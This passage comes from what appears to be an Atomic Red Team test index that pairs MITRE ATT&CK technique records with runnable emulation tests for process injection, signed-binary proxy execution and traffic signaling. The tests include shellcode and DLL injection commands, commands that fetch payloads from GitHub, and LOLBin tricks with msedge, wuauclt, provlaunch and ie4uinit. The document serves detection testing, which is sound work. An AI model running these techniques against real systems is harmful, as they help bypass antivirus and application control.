-Name #{spawn_process_name} -ErrorAction SilentlyContinue - name: Remote Process Injection with Go using CreateRemoteThread WinAPI auto_generated_guid: 69534efc-d5f5-4550-89e6-12c6457b9edd description: | Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process. This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess(). Steps taken with this technique 1. Get a handle to the target process 2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write 3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process 4. Change the memory page permissions to Execute/Read with VirtualProtectEx 5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread 6. Close the handle to the remote process - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread) - References: - https://www.ired.team/offensive-security/code-injection-process-injection/process-injection supported_platforms: - windows input_arguments: spawn_process_path: description: Path of the binary to spawn type: string default: C:\Windows\System32\werfault.exe spawn_process_name: description: Name of the process spawned type: string default: werfault executor: name: powershell elevation_required: false command: | $process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug cleanup_command: | Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue - name: Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively) auto_generated_guid: 2a4ab5c1-97ad-4d6d-b5d3-13f3a6c94e39 description: | Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process. This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. 1. Get a handle to the target process 2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write 3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process 4. Change the memory page permissions to Execute/Read with VirtualProtectEx 5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread 6. Close the handle to the remote process - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative) supported_platforms: - windows input_arguments: spawn_process_path: description: Path of the binary to spawn type: string default: C:\Windows\System32\werfault.exe spawn_process_name: description: Name of the process spawned type: string default: werfault executor: name: powershell elevation_required: false command: | $process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug cleanup_command: | Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue - name: Process Injection with Go using CreateThread WinAPI auto_generated_guid: 2871ed59-3837-4a52-9107-99500ebc87cb description: | This program executes shellcode in the current process using the following steps 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Call CreateThread on shellcode address 5. Call WaitForSingleObject so the program does not end before the shellcode is executed This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread) supported_platforms: - windows executor: name: powershell elevation_required: false command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThread.exe -debug\n" cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue ' - name: Process Injection with Go using CreateThread WinAPI (Natively) auto_generated_guid: 2a3c7035-d14f-467a-af94-933e49fe6786 description: | This program executes shellcode in the current process using the following steps 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Call CreateThread on shellcode address 5. Call WaitForSingleObject so the program does not end before the shellcode is executed This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative) supported_platforms: - windows executor: name: powershell elevation_required: false command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThreadNative.exe -debug\n" cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue ' - name: UUID custom process Injection auto_generated_guid: '0128e48e-8c1a-433a-a11a-a5304734f1e1' description: | The UUIDs Process Injection code was first introduced by the NCC Group. The code can be stored in UUID forms on the heap and converted back to binary via UuidFromStringA at runtime. In this new custom version of UUID injection, EnumSystemLocalesA is the only API called to execute the code. We used custom UuidToString and UuidFromString implementations to avoid using UuidFromStringA and RPCRT4.dll, thereby eliminating the static signatures. This technique also avoided the use of VirtualAlloc, WriteProcessMemory and CreateThread The injected shellcode will open a message box and a notepad. Reference to NCC Group: https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ Concept from: http://ropgadget.com/posts/abusing_win_functions.html supported_platforms: - windows input_arguments: exe_binary: description: PE binary type: path default: PathToAtomicsFolder\T1055\bin\x64\uuid_injection.exe dependency_executor_name: powershell dependencies: - description: 'Portable Executable to inject must exist at specified location (#{exe_binary}) ' prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/uuid_injection.exe" -OutFile "#{exe_binary}" executor: command: |- Start-Process "#{exe_binary}" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force name: powershell elevation_required: true T1205: technique: modified: '2022-11-08T14:00:00.188Z' name: Traffic Signaling description: |- Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: |- Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN) x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '2.4' x_mitre_contributors: - Tony Lee - Josh Day, Gigamon x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' - 'Network Traffic: Network Traffic Flow' x_mitre_defense_bypassed: - Defensive network service scanning type: attack-pattern id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1205 external_id: T1205 - source_name: Bleeping Computer - Ryuk WoL description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021. url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/ - source_name: AMD Magic Packet description: AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021. url: https://www.amd.com/system/files/TechDocs/20213.pdf - source_name: Mandiant - Synful Knock description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020. url: https://www.mandiant.com/resources/synful-knock-acis - source_name: Cisco Synful Knock Evolution description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices - source_name: Hartrell cd00r 2002 description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.' url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 - source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - source_name: GitLab WakeOnLAN description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021. url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1218: technique: modified: '2024-03-01T16:25:43.150Z' name: Signed Binary Proxy Execution description: |- Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Nishan Maharjan, @loki248 - Hans Christoffer Gaardløs - Praetorian - Wes Hurd x_mitre_deprecated: false x_mitre_detection: |- Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS x_mitre_version: '3.1' x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Module: Module Load' - 'File: File Creation' - 'Process: OS API Execution' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_defense_bypassed: - Anti-virus - Application control - Digital Certificate Validation type: attack-pattern id: attack-pattern--457c7820-d331-465a-915e-42f85500ccc4 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1218 external_id: T1218 - source_name: GTFO split description: GTFOBins. (2020, November 13). split. Retrieved April 18, 2022. url: https://gtfobins.github.io/gtfobins/split/ - source_name: LOLBAS Project description: Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022. url: https://github.com/LOLBAS-Project/LOLBAS#criteria - source_name: split man page description: Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) — Linux manual page. Retrieved March 25, 2022. url: https://man7.org/linux/man-pages/man1/split.1.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1218 atomic_tests: - name: mavinject - Inject DLL into running process auto_generated_guid: c426dacf-575d-4937-8611-a148a86a5e61 description: 'Injects arbitrary DLL into running process specified by process ID. Requires Windows 10. ' supported_platforms: - windows input_arguments: process_id: description: PID of process receiving injection type: string default: '1000' dll_payload: description: DLL to inject type: path default: PathToAtomicsFolder\T1218\src\x64\T1218.dll dependency_executor_name: powershell dependencies: - description: 'T1218.dll must exist on disk at specified location (#{dll_payload}) ' prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll" -OutFile "#{dll_payload}" executor: command: 'mavinject.exe #{process_id} /INJECTRUNNING "#{dll_payload}" ' name: command_prompt elevation_required: true - name: Register-CimProvider - Execute evil dll auto_generated_guid: ad2c17ed-f626-4061-b21e-b9804a6f3655 description: 'Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB ' supported_platforms: - windows input_arguments: dll_payload: description: DLL to execute type: path default: PathToAtomicsFolder\T1218\src\Win32\T1218-2.dll dependency_executor_name: powershell dependencies: - description: 'T1218-2.dll must exist on disk at specified location (#{dll_payload}) ' prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}" executor: command: 'C:\Windows\SysWow64\Register-CimProvider.exe -Path "#{dll_payload}" ' name: command_prompt - name: InfDefaultInstall.exe .inf Execution auto_generated_guid: 54ad7d5a-a1b5-472c-b6c4-f8090fb2daef description: | Test execution of a .inf using InfDefaultInstall.exe Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml supported_platforms: - windows input_arguments: inf_to_execute: description: Local location of inf file type: string default: PathToAtomicsFolder\T1218\src\Infdefaultinstall.inf dependency_executor_name: powershell dependencies: - description: 'INF file must exist on disk at specified location (#{inf_to_execute}) ' prereq_command: 'if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf" -OutFile "#{inf_to_execute}" executor: command: 'InfDefaultInstall.exe "#{inf_to_execute}" ' name: command_prompt - name: ProtocolHandler.exe Downloaded a Suspicious File auto_generated_guid: db020456-125b-4c8b-a4a7-487df8afb5a2 description: 'Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file. ' supported_platforms: - windows input_arguments: remote_url: description: url to document type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/T1218Test.docx dependency_executor_name: powershell dependencies: - description: 'Microsoft Word must be installed ' prereq_command: | try { $wdApp = New-Object -COMObject "Word.Application" Stop-Process -Name "winword" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually to meet this requirement" ' executor: name: command_prompt elevation_required: false command: | FOR /F "tokens=2*" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe" /V PATH') do set microsoft_wordpath=%b call "%microsoft_wordpath%\protocolhandler.exe" "ms-word:nft|u|#{remote_url}" - name: Microsoft.Workflow.Compiler.exe Payload Execution auto_generated_guid: 7cbb0f26-a4c1-4f77-b180-a009aa05637e description: 'Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe ' supported_platforms: - windows input_arguments: xml_payload: description: XML to execution type: path default: PathToAtomicsFolder\T1218\src\T1218.xml mwcpath: description: Default location of Microsoft.Workflow.Compiler.exe type: path default: C:\Windows\Microsoft.NET\Framework64\v4.0.30319 mwcname: description: Default name of microsoft.workflow.compiler.exe type: path default: microsoft.workflow.compiler.exe dependency_executor_name: powershell dependencies: - description: ".Net must be installed for this test to work correctly.\n" prereq_command: 'if (Test-Path #{mwcpath}\#{mwcname} ) {exit 0} else {exit 1} ' get_prereq_command: 'write-host ".Net must be installed for this test to work correctly." ' executor: command: '#{mwcpath}\#{mwcname} "#{xml_payload}" output.txt ' name: powershell elevation_required: false - name: Renamed Microsoft.Workflow.Compiler.exe Payload Executions auto_generated_guid: 4cc40fd7-87b8-4b16-b2d7-57534b86b911 description: 'Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe ' supported_platforms: - windows input_arguments: xml_payload: description: XML to execution type: path default: PathToAtomicsFolder\T1218\src\T1218.xml renamed_binary: description: renamed Microsoft.Workflow.Compiler type: path default: PathToAtomicsFolder\..\ExternalPayloads\svchost.exe mwcpath: description: Default location of Microsoft.Workflow.Compiler.exe type: path default: C:\Windows\Microsoft.NET\Framework64\v4.0.30319 mwcname: description: Default name of microsoft.workflow.compiler.exe type: path default: microsoft.workflow.compiler.exe dependency_executor_name: powershell dependencies: - description: ".Net must be installed for this test to work correctly.\n" prereq_command: 'if (Test-Path "#{renamed_binary}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Copy-Item #{mwcpath}\#{mwcname} "#{renamed_binary}" -Force executor: command: '&"#{renamed_binary}" "#{xml_payload}" output.txt ' name: powershell elevation_required: false - name: Invoke-ATHRemoteFXvGPUDisablementCommand base test auto_generated_guid: 9ebe7901-7edf-45c0-b5c7-8366300919db description: | RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339). One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted. Invoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe. The Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts. Reference: https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1 supported_platforms: - windows input_arguments: module_name: description: Specifies a temporary module name to use. If -ModuleName is not supplied, a 16-character random temporary module name is used. A PowerShell module can have any name. Because Get-VMRemoteFXPhysicalVideoAdapter abuses module load order, a module name must be specified. type: string default: foo module_path: description: Specifies an alternate, non-default PowerShell module path for RemoteFXvGPUDisablement.exe. If -ModulePath is not specified, the first entry in %PSModulePath% will be used. Typically, this is %USERPROFILE%\Documents\WindowsPowerShell\Modules. type: string default: "$PWD" dependencies: - description: The AtomicTestHarnesses module must be installed and Invoke-ATHRemoteFXvGPUDisablementCommand must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Invoke-ATHRemoteFXvGPUDisablementCommand']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}' name: powershell - name: DiskShadow Command Execution auto_generated_guid: 0e1483ba-8f0c-425d-b8c6-42736e058eaa description: 'Emulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/ ' supported_platforms: - windows input_arguments: txt_payload: description: txt to execute type: path default: PathToAtomicsFolder\T1218\src\T1218.txt dspath: description: Default location of DiskShadow.exe type: path default: C:\Windows\System32\diskshadow.exe dependency_executor_name: powershell dependencies: - description: txt file must exist on disk at specified location (#{txt_payload}) prereq_command: 'if (Test-Path "#{txt_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{txt_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/T1218.txt" -OutFile "#{txt_payload}" - description: DiskShadow.exe must exist on disk at specified location (#{dspath}) prereq_command: 'if (Test-Path #{dspath}) {exit 0} else {exit 1} ' get_prereq_command: 'echo "DiskShadow.exe not found on disk at expected location" ' executor: command: "#{dspath} -S #{txt_payload} \n" name: powershell elevation_required: false - name: Load Arbitrary DLL via Wuauclt (Windows Update Client) auto_generated_guid: 49fbd548-49e9-4bb7-94a6-3769613912b8 description: "This test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. \nSee https://dtm.uk/wuauclt/\n" supported_platforms: - windows input_arguments: arbitrary_dll: description: Path of DLL to be loaded type: string default: PathToAtomicsFolder\T1218\bin\calc.dll dependency_executor_name: powershell dependencies: - description: 'DLL to load must exist on disk as specified location (#{arbitrary_dll}) ' prereq_command: 'if (test-path "#{arbitrary_dll}"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{arbitrary_dll}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/bin/calc.dll?raw=true" -OutFile "#{arbitrary_dll}" executor: command: 'wuauclt.exe /UpdateDeploymentProvider "#{arbitrary_dll}" /RunHandlerComServer ' cleanup_command: taskkill /f /im calculator.exe > nul 2>&1 name: command_prompt - name: Lolbin Gpscript logon option auto_generated_guid: 5bcda9cd-8e85-48fa-861d-b5a85d91d48c description: | Executes logon scripts configured in Group Policy. https://lolbas-project.github.io/lolbas/Binaries/Gpscript/ https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/ supported_platforms: - windows executor: command: 'Gpscript /logon ' name: command_prompt - name: Lolbin Gpscript startup option auto_generated_guid: f8da74bb-21b8-4af9-8d84-f2c8e4a220e3 description: | Executes startup scripts configured in Group Policy https://lolbas-project.github.io/lolbas/Binaries/Gpscript/ https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/ supported_platforms: - windows executor: command: 'Gpscript /startup ' name: command_prompt - name: Lolbas ie4uinit.exe use as proxy auto_generated_guid: 13c0804e-615e-43ad-b223-2dfbacd0b0b3 description: | Executes commands from a specially prepared ie4uinit.inf file. Poc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/ Reference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/ supported_platforms: - windows input_arguments: Path_inf: description: Path to the cab file type: path default: PathToAtomicsFolder\T1218\src\ieuinit.inf Path_ie4uinit: description: Path to ie4uinit.exe type: path default: c:\windows\system32\ie4uinit.exe dependency_executor_name: powershell dependencies: - description: 'ieuinit.inf must exist on disk at specified location (#{Path_inf}) ' prereq_command: 'if (Test-Path "#{Path_inf}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{Path_inf}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/ieuinit.inf" -OutFile "#{Path_inf}" executor: command: | copy #{Path_ie4uinit} %TEMP%\ie4uinit.exe copy "#{Path_inf}" %TEMP%\ieuinit.inf %TEMP%\ie4uinit.exe -BaseSettings cleanup_command: | del %TEMP%\ie4uinit.exe >nul 2>&1 del %TEMP%\ieuinit.inf >nul 2>&1 name: command_prompt - name: LOLBAS CustomShellHost to Spawn Process auto_generated_guid: b1eeb683-90bb-4365-bbc2-2689015782fe description: | This test simulates an adversary copying `customshellhost.exe` and `calc.exe` from `C:\windows\system32\` to `C:\temp\`, renaming `calc.exe` to `explorer.exe`. Upon execution, customshellhost.exe will spawn calc.exe. Note this will only work on Windows 10 or 11. [LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/) [BishopFox](https://bishopfox.com/blog/edr-bypass-with-lolbins) supported_platforms: - windows input_arguments: dest_path: description: Directory to copy files into type: path default: C:\test executor: command: | if (-not (Test-Path #{dest_path})) { New-Item -Path #{dest_path} -ItemType Directory } else { Write-Host "Directory #{dest_path} already exists." } Copy-Item -Path "C:\windows\system32\customshellhost.exe" -Destination "#{dest_path}\customshellhost.exe" -Force Copy-Item -Path "C:\windows\system32\calc.exe" -Destination "#{dest_path}\explorer.exe" -Force #{dest_path}\customshellhost.exe cleanup_command: 'Remove-Item -Path #{dest_path} -Recurse -Force ' name: powershell elevation_required: true - name: Provlaunch.exe Executes Arbitrary Command via Registry Key auto_generated_guid: ab76e34f-28bf-441f-a39c-8db4835b89cc description: | Provlaunch.exe executes a command defined in the Registry. This test will create the necessary registry keys and values, then run provlaunch.exe to execute an arbitrary command. - https://twitter.com/0gtweet/status/1674399582162153472 - https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/ Registry keys are deleted after successful execution. supported_platforms: - windows executor: command: | reg.exe add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1 /v altitude /t REG_DWORD /d 0 reg add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1\dummy2 /v Commandline /d calc.exe c:\windows\system32\provlaunch.exe LOLBin name: command_prompt - name: LOLBAS Msedge to Spawn Process auto_generated_guid: e5eedaed-ad42-4c1e-8783-19529738a349 description: | Executes a process under a trusted Microsoft signed binary,mseddge. This test will spawn "calc.exe" as a child process of msedge.exe - https://lolbas-project.github.io/lolbas/Binaries/Msedge/ supported_platforms: - windows executor: command: | $edgePath64 = "C:\Program Files\Microsoft\Edge\Application\msedge.exe" if (Test-Path $edgePath64) { $edgePath = $edgePath64 } else { # Check 32-bit Edge installation path $edgePath32 = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" if (Test-Path $edgePath32) { $edgePath = $edgePath32 } else { exit 1 } } & $edgePath --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\calc.exe &&" sleep 5 taskkill -f -im msedge.exe taskkill -f -im calc.exe taskkill -f -im win32calc.exe name: powershell - name: System Binary Proxy Execution - Wlrmdr Lolbin auto_generated_guid: 7816c252-b728-4ea6-a683-bd9441ca0b71 description: Use wlrmdr(Windows Logon Reminder executable) as a proxy binary to evade defensive countermeasures supported_platforms: - windows input_arguments: payload_path: description: Path to the executable type: String default: C:\Windows\System32\calc.exe executor: command: wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u "#{payload_path}" name: powershell elevation_required: false T1070.006: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Romain Dumont, ESET object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611 type: attack-pattern created: '2020-01-31T12:42:44.103Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1070.006 url: https://attack.mitre.org/techniques/T1070/006 - url: http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html description: 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.' source_name: WindowsIR Anti-Forensic Techniques modified: '2021-04-29T14:49:39.188Z' name: 'Indicator Removal on Host: Timestomp' description: |- Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: 'Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.' 